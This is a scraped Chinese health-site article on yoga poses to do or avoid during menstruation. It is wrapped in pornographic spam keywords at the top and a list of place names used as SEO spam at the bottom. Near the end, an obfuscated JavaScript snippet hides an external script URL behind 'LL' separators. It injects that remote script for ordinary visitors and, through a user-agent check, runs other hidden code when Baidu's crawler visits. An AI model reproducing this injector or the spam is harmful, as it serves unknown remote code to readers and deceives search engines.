亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

適合經(jīng)期練習(xí)的瑜伽怎么做?

2017-04-15 09:30:49  來源:360常識網(wǎng)   熱度:
導(dǎo)語:瑜伽是十分受人們的歡迎的一項運動,它擁有眾多的好處,是人們練習(xí)的一大原因,也有的人是看著好玩才去練習(xí)的,還有的人是因為本身就感興趣

瑜伽是十分受人們的歡迎的一項運動,它擁有眾多的好處,是人們練習(xí)的一大原因,也有的人是看著好玩才去練習(xí)的,還有的人是因為本身就感興趣才去練習(xí)的。有一些人就會問了,適合經(jīng)期練習(xí)的瑜伽是什么?接下來就讓小編我來為大家講解講解一下這個問題吧。

不能練習(xí)的體位:

所有倒立的體位(如犁式、頭倒立、肩倒立等)、擠壓腹部的體位(如背部伸展式、單腿伸展式)、對于身體承受力大的劇烈體位(如輪式)等,不舒服立即停止

可以做一些對于身體比較溫和的、站立或跪式的體位(如瑜伽身印,叩首式、三角式、樹式、貓式、蛇式等)

經(jīng)期不適宜做倒立、擠壓腹部的體位,會使一些本應(yīng)該排出體外的經(jīng)血滯留在體內(nèi),影響經(jīng)期健康。經(jīng)期要避免做劇烈運動,可以練習(xí)一些柔和的伸展姿勢按摩身體。經(jīng)期結(jié)束后,多練習(xí)瑜伽(包括倒立等體位)可以消除月經(jīng)期間不適的癥狀,有益身心。坐的體式:

吉祥坐、金剛坐、蓮花坐、束角式、坐角式、牛面式、會陰收束式等體式有助于消除女性的壓力和緊張。有呼吸不暢,胸部憋脹,小便不暢,經(jīng)血過多,腹部痙攣,精神興奮和沖動等癥狀的女性,會發(fā)現(xiàn)這些體式能非常有效地減輕癥狀,消除那些障礙。英雄臥式、臥束角式、臥吉祥式、魚式、臥手觸腳趾的體式II(使用束帶、長枕、毛毯支撐)等體式可以放松日常處于緊張、疲勞和興奮狀態(tài)下的肌肉和神經(jīng)。

以上就是人們常常關(guān)心的關(guān)于適合經(jīng)期練習(xí)的瑜伽的一些相關(guān)性的資料,相信大家看了以上的一些相關(guān)性的資料也對這一方面有所了解了吧。如果很久的沒有練習(xí)瑜伽的話,一定要注意一定要先熱身,再去練習(xí)瑜伽,不然的話自己會受到傷害的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
航空| 英吉沙县| 马山县| 赣榆县| 汉川市| 龙江县| 莱芜市| 千阳县| 定州市| 三门县| 祁连县| 长顺县| 临城县| 马关县| 武冈市| 安徽省| 黔南| 双柏县| 呼和浩特市| 延边| 东阳市| 大名县| 临汾市| 安龙县| 蒙山县| 鄂托克旗| 乌鲁木齐市| 宁波市| 宁津县| 阳东县| 阿鲁科尔沁旗| 广水市| 克拉玛依市| 山阳县| 兴隆县| 辉县市| 吉首市| 同仁县| 商南县| 靖边县| 宣威市|